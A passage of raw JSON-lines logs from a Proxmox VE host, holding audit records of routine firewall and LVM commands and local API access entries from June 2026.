a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964496657,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1093"} {"@timestamp":1781964225895,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.895:60129): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57739 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235224,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.224:69034): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66296 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965566134,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:05 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 920"} {"@timestamp":1781964625566,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.566:61853): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966035163,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.163:68151): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65446 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965829447,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965829.447:67278): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64616 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966244773,"@rawstring":"node=pve type=EXECVE msg=audit(1781966244.773:69053): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964495533,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 464"} {"@timestamp":1781964225889,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.889:60128): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57738 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235217,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.217:69033): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66295 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965566134,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1116"} {"@timestamp":1781964625561,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.561:61852): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966035163,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.163:68150): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65446 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965825427,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.427:67274): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdc4477290 a1=594c7c2cc390 a2=594c7c2aa680 a3=5 items=1 ppid=64609 pid=64610 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240919,"@rawstring":"node=pve type=EXECVE msg=audit(1781966240.919:69052): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964492626,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964225881,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.881:60127): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57737 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235210,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.210:69032): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66294 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965566134,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:04 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964625554,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.554:61851): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966035156,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.156:68148): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65445 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965825328,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.328:67256): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcaa7f53b0 a1=592720e023d0 a2=592720de0680 a3=5 items=1 ppid=64590 pid=64591 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240913,"@rawstring":"node=pve type=EXECVE msg=audit(1781966240.913:69049): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964492626,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:11 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 841"} {"@timestamp":1781964225875,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.875:60126): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57736 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235205,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.205:69031): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5cc1da459740 items=0 ppid=1156 pid=66293 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965564905,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:03 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 938"} {"@timestamp":1781964625548,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.548:61850): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966035156,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.156:68147): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65445 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965824442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965824.442:67246): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64580 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235902,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.902:69046): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964491607,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964225871,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.871:60125): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5f3580a2e740 items=0 ppid=1156 pid=57735 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966235203,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.203:69030): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc139e20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66293 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965564905,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964625544,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.544:61849): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966030148,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966030.148:68143): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65440 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965824442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965824.442:67245): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64580 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235889,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.889:69043): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964488680,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964225869,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.869:60124): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13d7e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57735 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235196,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.196:69029): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b5b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66292 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965564905,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:03 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964625541,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.541:61848): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966030148,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966030.148:68142): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65440 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965824435,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965824.435:67243): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64579 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235247,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.247:69040): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964487653,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964225864,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.864:60123): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b8a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57734 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235190,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.190:69028): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f5310 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66291 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965563723,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781964625541,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.541:61847): argc=1 a0=\"date\""} {"@timestamp":1781966030143,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966030.143:68140): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65439 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965824435,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965824.435:67242): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64579 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235244,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.244:69039): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964486661,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:05 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 845"} {"@timestamp":1781964225859,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.859:60122): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ece30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57733 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235185,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.185:69027): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb98929e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66290 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965562693,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781964625536,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.536:61845): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966030143,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966030.143:68139): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65439 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965819424,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965819.424:67240): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64578 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235243,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.243:69038): argc=1 a0=\"date\""} {"@timestamp":1781964484641,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964225854,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.854:60121): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b780 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57732 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235179,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.179:69026): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f5310 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66289 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965562693,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:01 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 498"} {"@timestamp":1781964625530,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.530:61844): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966025742,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.742:68134): arch=c000003e syscall=59 success=no exit=-2 a0=7fffbafabc60 a1=570fec435310 a2=570fec42e680 a3=5 items=1 ppid=65429 pid=65430 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965819424,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965819.424:67239): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64578 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235239,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.239:69036): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964483630,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964225848,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.848:60120): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ece30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57731 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235173,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.173:69025): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2b40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66288 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965562693,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:01 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 880"} {"@timestamp":1781964625523,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.523:61843): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966025644,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.644:68116): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc7cd71130 a1=616de646a310 a2=616de6463680 a3=5 items=1 ppid=65410 pid=65411 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965819417,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965819.417:67237): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64577 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235232,"@rawstring":"node=pve type=EXECVE msg=audit(1781966235.232:69035): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964480596,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964225843,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.843:60119): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc137850 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57730 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235162,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.162:69024): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66287 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965560691,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:59 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 951"} {"@timestamp":1781964625518,"@rawstring":"node=pve type=EXECVE msg=audit(1781964625.518:61842): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966025136,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.136:68108): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65404 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} 